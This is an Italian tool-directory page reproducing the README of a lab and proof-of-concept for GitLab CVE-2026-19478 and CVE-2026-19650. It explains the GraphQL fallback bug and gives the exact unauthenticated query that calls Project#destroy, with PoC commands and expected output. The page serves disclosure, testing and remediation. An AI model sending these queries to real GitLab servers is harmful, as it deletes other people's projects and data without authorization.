Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
gitlab-cve-2026-19478-lab — Laboratorio A/B riproducibile + PoC sicuro per GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Strumenti/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APISicurezza WebPenetration TestingLab e Pratica
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Laboratorio A/B riproducibile + PoC sicuro per GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

Vedi Repository
816 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 — GitLab GraphQL @gl_introduced invocazione non autenticata di metodi arbitrari (lab di validazione + PoC)

Lab A/B riproducibile e PoC sicuro per CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critico). Un attaccante non autenticato può invocare metodi Ruby arbitrari a 0 argomenti su oggetti di dominio risolti tramite GraphQL — ad es. chiamare Project#destroy per eliminare un progetto pubblico senza credenziali.

Include anche un PoC per la vulnerabilità correlata CVE-2026-19650 (query-swap multiplex GraphQL) corretta nella stessa release.

Solo per test di sicurezza autorizzati / scopi didattici. Tutto viene eseguito sui tuoi container locali.


1. La vulnerabilità

GitLab include una direttiva client GraphQL @gl_introduced(version: "X.Y.Z") (compatibilità in avanti per i deploy rolling). Quando una query nomina un campo con una versione più recente del server in esecuzione, un tracer (Gitlab::Graphql::VersionFilter::IntroducedTracer) lo rimuove prima della validazione statica, così la query viene validata; poi il server riesegue il documento in fase di esecuzione e lascia che i campi sconosciuti vengano risolti tramite un fallback.

Scarica lo strumento
originale

Il bug è nel fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pre-patch):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

Un GraphQL::Schema::Field senza resolver viene risolto da graphql-ruby chiamando object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — il ramo respond_to?(@method_sym) → public_send viene eseguito prima che fallback_value venga mai consultato, quindi fallback_value: nil era codice morto). Pertanto, con @gl_introduced, il client sceglie un nome di campo uguale a qualsiasi metodo a 0 argomenti dell'oggetto attualmente risolto, e il server lo invoca.

Risolvi un progetto pubblico, richiedi un "campo futuro" chiamato destroy → il server esegue Project#destroy.

  • Impatto: modifica/eliminazione non autenticata di progetti pubblici e dati utente (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Versioni affette: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Corretta in: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — il fallback ora usa un esplicito Resolvers::NilResolver che restituisce nil e non chiama mai un metodo.

Vincoli del trigger (appresi empiricamente)

  1. @gl_introduced(version:) deve essere maggiore della versione del server (usa 99.0.0).
  2. Il nome del campo è il nome esatto del metodo, riportato tale e quale (snake_case come definito in Ruby, ad es. to_param, destroy).
  3. La selezione genitore deve avere ≥1 campo fratello reale (ad es. id), altrimenti il documento filtrato è un set di selezioni vuoto e GitLab restituisce un errore di validazione "Field must have selections".

2. Avvio rapido (lab A/B: 19.2.2 vulnerabile vs 19.2.4 patchata)

Requisiti: Docker + docker compose, ~8 GB di RAM libera, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh stampa, per ciascuna istanza: l'URL di base, il percorso del progetto pubblico creato (root/pub) e un PAT admin.


3. Eseguire il PoC

3a. Rilevamento (SICURO, non distruttivo — predefinito)

Usa la primitiva di invocazione di metodo con un metodo innocuo (to_param). Nessun dato viene modificato.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Output atteso:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. sull'istanza patchata:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Dimostrare l'impatto distruttivo (OPT-IN — elimina un progetto usa-e-getta che crea da sé)

Crea un proprio progetto pubblico usa-e-getta tramite l'API REST (serve il token admin di setup.sh), poi lo elimina tramite l'attacco GraphQL non autenticato e conferma che il progetto non esiste più.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Output atteso (versione vulnerabile):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

Sull'istanza patchata la stessa esecuzione riporta che il progetto restituisce ancora 200 OK e destroy è null.

3c. CVE-2026-19650 correlata (query-swap multiplex) — SICURO

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Testare sulla propria istanza

Punta --url su qualsiasi GitLab che sei autorizzato a testare e --project su un progetto pubblico presente su di esso:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

Il rilevamento è non distruttivo. Non usare --prove-destroy su nulla che non possiedi.


5. Rimedio

Aggiorna a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o versioni successive. La correzione instrada il fallback attraverso Resolvers::NilResolver (restituisce nil, non invoca mai un metodo dell'oggetto). Se non puoi aggiornare immediatamente, blocca la direttiva @gl_introduced / il percorso del version-filter a livello di proxy, oppure limita l'accesso GraphQL non autenticato.

6. File

FileScopo
docker-compose.ymlAvvia la versione vulnerabile 19.2.2-ce (:8222) + quella patchata 19.2.4-ce (:8224)
setup.shAttende che le istanze siano pronte, crea il progetto pubblico root/pub + token admin per istanza
poc_cve_2026_19478.pyRilevamento (sicuro) + prova d'impatto opzionale --prove-destroy
poc_cve_2026_19650.pyRilevamento query-swap multiplex (sicuro)

7. Note di sicurezza

  • Tutto è pensato per container che esegui tu. Il PoC predefinito è non distruttivo.
  • --prove-destroy crea ed elimina il suo progetto usa-e-getta; non tocca mai root/pub né i tuoi dati.
  • Reporters: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), tramite GitLab HackerOne. La divulgazione tecnica pubblica è stata soggetta a embargo per ~90 giorni dopo il patch; questo lab deriva il meccanismo dai commit pubblici del fix e283c6adeb3d (fallback) e d2ea4b971a98 (multiplex swap).